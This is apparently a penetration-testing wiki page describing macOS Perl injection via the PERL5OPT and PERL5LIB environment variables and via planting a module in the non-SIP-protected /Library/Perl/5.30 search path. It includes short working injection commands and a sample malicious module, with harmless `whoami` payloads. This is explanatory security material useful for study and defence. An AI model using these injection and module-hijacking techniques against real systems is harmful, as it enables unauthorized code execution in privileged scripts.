macOS Perl Applications Injection

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{% endhint %}

Via `PERL5OPT` & `PERL5LIB` env variable

Using the env variable PERL5OPT it's possible to make perl execute arbitrary commands.
For example, create this script:

{% code title="test.pl" %}

#!/usr/bin/perl
print "Hello from the Perl script!\n";

{% endcode %}

Now export the env variable and execute the perl script:

export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"

Another option is to create a Perl module (e.g. /tmp/pmod.pm):

{% code title="/tmp/pmod.pm" %}

#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value

{% endcode %}

And then use the env variables:

PERL5LIB=/tmp/ PERL5OPT=-Mpmod

Via dependencies

It's possible to list the dependencies folder order of Perl running:

perl -e 'print join("\n", @INC)'

Which will return something like:

/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30

Some of the returned folders doesn't even exist, however, /Library/Perl/5.30 does exist, it's not protected by SIP and it's before the folders protected by SIP. Therefore, someone could abuse that folder to add script dependencies in there so a high privilege Perl script will load it.

{% hint style="warning" %} However, note that you need to be root to write in that folder and nowadays you will get this TCC prompt: {% endhint %}

For example, if a script is importing use File::Basename; it would be possible to create /Library/Perl/5.30/File/Basename.pm to make it execute arbitrary code.

References

https://www.youtube.com/watch?v=zxZesAN-TEk